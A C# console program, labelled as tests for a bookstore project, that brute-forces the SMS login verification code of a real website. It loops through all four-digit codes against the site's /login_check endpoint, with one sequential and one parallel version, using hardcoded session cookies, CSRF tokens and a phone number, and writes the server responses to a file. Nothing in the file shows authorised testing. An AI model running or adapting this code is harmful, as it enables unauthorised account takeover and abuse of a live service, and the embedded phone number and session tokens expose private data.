﻿using Newtonsoft.Json;
using RestSharp;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;

namespace BookStore.Tests
{
    internal class Program
    {
        static void Main(string[] args)
        {
            btnTaskTest();

            Console.ReadKey();
            Console.WriteLine("Finished!");
        }

        private static void btnTaskLogin()
        {
            var client = new RestClient("https://xiamen.wyw315.com");
            var request = new RestRequest("/login_check", DataFormat.Xml)
            .AddHeader("Accept", "application/json, text/javascript, */*; q=0.01")
            .AddHeader("Accept-Encoding", "gzip, deflate, br")
            .AddHeader("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6")
            .AddHeader("Connection", "keep-alive")
            .AddHeader("Content-Length", "29")
            .AddHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
            .AddHeader("Cookie", "Hm_lvt_77a639aa1176f8f9a41894078a11d46f=1640653551; Hm_lpvt_77a639aa1176f8f9a41894078a11d46f=1640674023; XSRF-TOKEN=eyJpdiI6ImZINmJaVlp2OFRJWlB5dTNBTmk2d0E9PSIsInZhbHVlIjoiRXpQME1iTnd6aEpEM21JRHhhN1B4MWdTMmFnSTVGTXVwM29XUEsraXJHV0tSeXBWcmFvQzk2VVY0MUdwc01XSUd4N2tLN1pEazV2UXBvL0lOeWNmSEg3S3NvN2VXU2wrOHVqOElZK0dPbWFwVE5Qb0daeWk2YUhGZk9LdVRLanAiLCJtYWMiOiI1MjFhZjg5ZWJiOTM4OTdmZmIzYjhhNDAxZGU4ZWFiNTQ4MjFhY2UyNjIwOWFjMzJjYjk5OWRiNzEyNGYyYjgwIn0%3D; laravel_session=eyJpdiI6IkI1WjdnMUR3TXdvd3BwOUxmMW9tT3c9PSIsInZhbHVlIjoiVkUzNmpnQTE3NGF3TGxaZnFsdVNtNnc1ejlIOTFYMC9RQWlCNHYxMEROQUtPMTdHZ3RsRkpWc3BOZ0FWUllrc0k5cU5qaTZFMVphNUJMMVpuQ1pPZllRRmF5cDI4L0FIMW9OUFpyVlovdUZsZ09WclBFRTlCcnpvd3MySE1VWDYiLCJtYWMiOiI1MDg2MWFkMmVhMTZmMTVmNmZkZjcxYWI0OWQ5MTFlY2M4ZjczOGRjZWM0MmJjMTQxMzg5NWRkY2VjZjMwYTU0In0%3D")
            .AddHeader("Host", "xiamen.wyw315.com")
            .AddHeader("Origin", "https://xiamen.wyw315.com")
            .AddHeader("Referer", "https://xiamen.wyw315.com/login")
            .AddHeader("sec-ch-ua", " Not A;Brand\"; v = \"99\", \"Chromium\"; v = \"96\", \"Microsoft Edge\"; v = \"96\"")
            .AddHeader("sec-ch-ua-mobile", "?0")
            .AddHeader("sec-ch-ua-platform", "\"Windows\"")
            .AddHeader("Sec-Fetch-Dest", "empty")
            .AddHeader("Sec-Fetch-Mode", "cors")
            .AddHeader("Sec-Fetch-Site", "same-origin")
            .AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62")
            .AddHeader("X-CSRF-TOKEN", "FsUTjVp0Sse4SHB72ZourtZCGENKtH0VYnSkoKBl")
            .AddHeader("X-Requested-With", "XMLHttpRequest")
                           .AddParameter("phone", "15759222357");

            request.AddParameter("code", "303795");

            //var resp = client.Post(request);
            //Console.WriteLine(resp.Content);
            //var response = JsonConvert.DeserializeObject<ServerResponse>(resp.Content);
            //Console.WriteLine(response.Code);
            //Console.WriteLine(response.Msg);
            //Console.WriteLine(response.Data);

            for (int i = 1; i < 10000; i++)
            {
                var code = i.ToString().PadLeft(4, '0');
                request.AddParameter("code", code);

                var resp = client.Post(request);
                //Console.WriteLine(resp.Content);
                var response = JsonConvert.DeserializeObject<ServerResponse>(resp.Content);
                Console.WriteLine("code: " + code + ", " + JsonConvert.SerializeObject(response));
                if (response.Code != 2)
                {
                    Console.WriteLine(response.Code);
                    Console.WriteLine(response.Msg);
                    Console.WriteLine(response.Data);
                }
                Thread.Sleep(1000);
            }

        }

        private static void btnTaskTest()
        {
            //求code的并集
            var codeList = new HashSet<string>();

            //并行计算10个维度的总和
            Parallel.For(1, 10, () => { return new List<string>(); }, (item, loop, total) =>
            {
                //业务方法，耗损性能中。。。
                var code = GetCodeMethod2(item);
                total.AddRange(code);
                return total;

            }, (total) =>
            {
                lock (codeList)
                {
                    foreach (var code in total)
                    {
                        codeList.Add(code);
                    }
                }
            });

            Console.WriteLine(codeList.Count);

            System.IO.File.WriteAllLines(@"codes.txt",codeList.ToArray());
        }

        private static HashSet<string> GetCodeMethod1(int index)
        {
            var list = Enumerable.Range((index - 1) * 10, 10).Select(i => i.ToString()).ToHashSet();
            Console.WriteLine("index = " + index + ", list = []" + JsonConvert.SerializeObject(list));
            return list;
        }

        private static HashSet<string> GetCodeMethod2(int index)
        {
            var list = new HashSet<string>();
            Console.WriteLine("index = " + index + ", [" + (index - 1) * 1000 + "," + index * 1000 + "]");

            foreach (var item in Enumerable.Range((index - 1) * 1000, 1000))
            {
                var client = new RestClient("https://xiamen.wyw315.com");
                var request = new RestRequest("/login_check", DataFormat.Json)
                .AddHeader("Accept", "application/json, text/javascript, */*; q=0.01")
                .AddHeader("Accept-Encoding", "gzip, deflate, br")
                .AddHeader("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6")
                .AddHeader("Connection", "keep-alive")
                .AddHeader("Content-Length", "29")
                .AddHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
                .AddHeader("Cookie", "Hm_lvt_77a639aa1176f8f9a41894078a11d46f=1640653551; Hm_lpvt_77a639aa1176f8f9a41894078a11d46f=1640674023; XSRF-TOKEN=eyJpdiI6ImZINmJaVlp2OFRJWlB5dTNBTmk2d0E9PSIsInZhbHVlIjoiRXpQME1iTnd6aEpEM21JRHhhN1B4MWdTMmFnSTVGTXVwM29XUEsraXJHV0tSeXBWcmFvQzk2VVY0MUdwc01XSUd4N2tLN1pEazV2UXBvL0lOeWNmSEg3S3NvN2VXU2wrOHVqOElZK0dPbWFwVE5Qb0daeWk2YUhGZk9LdVRLanAiLCJtYWMiOiI1MjFhZjg5ZWJiOTM4OTdmZmIzYjhhNDAxZGU4ZWFiNTQ4MjFhY2UyNjIwOWFjMzJjYjk5OWRiNzEyNGYyYjgwIn0%3D; laravel_session=eyJpdiI6IkI1WjdnMUR3TXdvd3BwOUxmMW9tT3c9PSIsInZhbHVlIjoiVkUzNmpnQTE3NGF3TGxaZnFsdVNtNnc1ejlIOTFYMC9RQWlCNHYxMEROQUtPMTdHZ3RsRkpWc3BOZ0FWUllrc0k5cU5qaTZFMVphNUJMMVpuQ1pPZllRRmF5cDI4L0FIMW9OUFpyVlovdUZsZ09WclBFRTlCcnpvd3MySE1VWDYiLCJtYWMiOiI1MDg2MWFkMmVhMTZmMTVmNmZkZjcxYWI0OWQ5MTFlY2M4ZjczOGRjZWM0MmJjMTQxMzg5NWRkY2VjZjMwYTU0In0%3D")
                .AddHeader("Host", "xiamen.wyw315.com")
                .AddHeader("Origin", "https://xiamen.wyw315.com")
                .AddHeader("Referer", "https://xiamen.wyw315.com/login")
                .AddHeader("sec-ch-ua", " Not A;Brand\"; v = \"99\", \"Chromium\"; v = \"96\", \"Microsoft Edge\"; v = \"96\"")
                .AddHeader("sec-ch-ua-mobile", "?0")
                .AddHeader("sec-ch-ua-platform", "\"Windows\"")
                .AddHeader("Sec-Fetch-Dest", "empty")
                .AddHeader("Sec-Fetch-Mode", "cors")
                .AddHeader("Sec-Fetch-Site", "same-origin")
                .AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62")
                .AddHeader("X-CSRF-TOKEN", "FsUTjVp0Sse4SHB72ZourtZCGENKtH0VYnSkoKBl")
                .AddHeader("X-Requested-With", "XMLHttpRequest")
                               .AddParameter("phone", "15759222357");

                var code = item.ToString().PadLeft(4, '0');
                Console.WriteLine(code);
                request.AddParameter("code", code);

                var resp = client.Post(request);
                var response = JsonConvert.DeserializeObject<ServerResponse>(resp.Content);
                if (response != null)  //  && response.Code != 2
                {
                    list.Add($"code: {code}: {JsonConvert.SerializeObject(response)}");
                }
            }

            return list;
        }
    }

    internal class ServerResponse
    {
        public int Code { get; set; }
        public string Msg { get; set; }
        public object Data { get; set; }
    }
}
